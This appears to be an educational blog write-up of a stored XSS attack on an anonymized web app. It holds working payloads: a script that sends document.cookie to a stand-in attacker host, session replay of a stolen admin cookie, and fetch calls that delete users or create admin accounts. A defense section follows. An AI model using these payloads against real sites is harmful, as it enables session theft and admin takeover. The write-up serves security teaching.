(Persistent Client-Side Exploitation – Educational Case Study)
Disclaimer
This content is for educational and defensive purposes only.
The application, payloads, endpoints, and data are fully anonymized.
No real users were harmed.
The goal is to explain how stored XSS actually gets weaponized in real-world apps.
Why Stored XSS Is Still Deadly in 2025
People often say:
“XSS is low severity.”
That’s only true if you don’t know how to use it.
Stored XSS is different:
- Payload persists
- Executes on other users
- Often targets admins
- Enables session theft, account takeover, and internal pivoting
🔥 Stored XSS is not a bug — it’s a delivery mechanism.
Target Overview (Anonymized)
- Type: Web application
- Auth: Cookie-based session
- Roles: User, Admin
- Feature abused:
- User profile bio
- Support ticket comments
- Frontend: React-like SPA
Phase 1: Finding the Input Sink
After logging in as a normal user, I explored:
- Profile page
- Comments
- Support tickets
- Feedback forms
One field stood out:
“About Me” (Profile Bio)
Phase 2: Testing for Stored Input
I entered a harmless payload:
<b>test</b>
Saved profile.
Refreshed page.
Output:
test (bold)
🚩 HTML rendered, not escaped
Phase 3: Confirming Stored XSS
Next payload:
<script>alert(1)</script>
Result:
- Page reload
- Alert box popped
Confirmed:
Stored XSS
But alerts are useless.
We escalate.
Phase 4: Understanding Execution Context
Before weaponizing XSS, I checked:
- Is session cookie HttpOnly?
- Are CSRF tokens present?
- Is CSP enabled?
Findings:
- ❌ No Content Security Policy
- ❌ Cookies not HttpOnly
- ❌ Session accessible via JS
This is rare — and fatal.
Phase 5: Crafting a Real Payload (Session Theft)
Instead of alert(), I used:
<script>
fetch("https://attacker-server.example/log?c=" + document.cookie)
</script>
Saved profile.
Now every user who visits my profile:
- Executes JS
- Sends their session cookie to attacker server
Phase 6: Triggering the Payload (Admin Visit)
How do admins get hit?
Easy.
Admins routinely:
- Review user profiles
- Handle support tickets
- Moderate content
Within minutes, my server logged:
session=SID=admin_session_token
🎯 Admin session captured
Phase 7: Session Replay (Account Takeover)
Using the stolen cookie:
GET /admin/dashboard HTTP/1.1
Cookie: SID=admin_session_token
Response:
- Admin dashboard loaded
- Full access
No password.
No MFA.
No alerts.
Why This Was So Powerful
| Factor | Why It Matters |
|---|---|
| Stored XSS | Persistent |
| Admin context | High privilege |
| No HttpOnly | Cookie theft |
| No CSP | Script execution |
| Trusted content | Admins view it |
This wasn’t “just XSS”.
This was remote admin takeover.
Alternative Payloads (Even Worse)
If cookies were HttpOnly, I could still:
🔹 Perform Admin Actions (CSRF via XSS)
<script>
fetch("/api/admin/deleteUser?id=1337",{credentials:"include"})
</script>
🔹 Create New Admin Account
<script>
fetch("/api/admin/create",{method:"POST",body:'{"role":"admin"}'})
</script>
XSS becomes a command execution primitive.
Root Cause Analysis
❌ What Developers Did Wrong
- Stored unescaped user input
- No output encoding
- No CSP
- No HttpOnly cookies
- Trusted user-generated content
This is a chain failure, not a single bug.
✅ Proper Defense Strategy
Stored XSS requires layered defense:
- Output encoding (context-aware)
- Input sanitization (last resort)
- HttpOnly + Secure cookies
- Strong CSP
- Admin content isolation
One layer missing is survivable.
All missing is catastrophic.
How I Hunt Stored XSS (My Playbook)
1️⃣ Find stored inputs
- Profiles
- Comments
- Tickets
- Reviews
2️⃣ Test rendering
- HTML tags
- Event handlers
- Script blocks
3️⃣ Identify execution context
- DOM-based?
- Reflected?
- Stored?
4️⃣ Weaponize carefully
- Cookie access
- Privileged actions
- Persistence
Tools Used
| Tool | Purpose |
|---|---|
| Browser | Manual testing |
| Burp Suite | Payload injection |
| Local listener | Cookie capture |
| Brain | Payload logic |
Severity Assessment
| Impact | Level |
|---|---|
| Account takeover | Critical |
| Admin compromise | Critical |
| Worm potential | High |
| Detection | Low |
Severity:
Critical (Stored XSS → Privilege Escalation)
Why This Still Exists Everywhere
Because:
- Teams underestimate XSS
- Frontend frameworks give false confidence
- “Only admins see it” logic
- No security review of content features
Attackers love trusted views.
Final Thoughts
XSS is not about popups.
It’s about running code inside someone else’s trust boundary.
And when that someone is an admin —
the app is already lost.
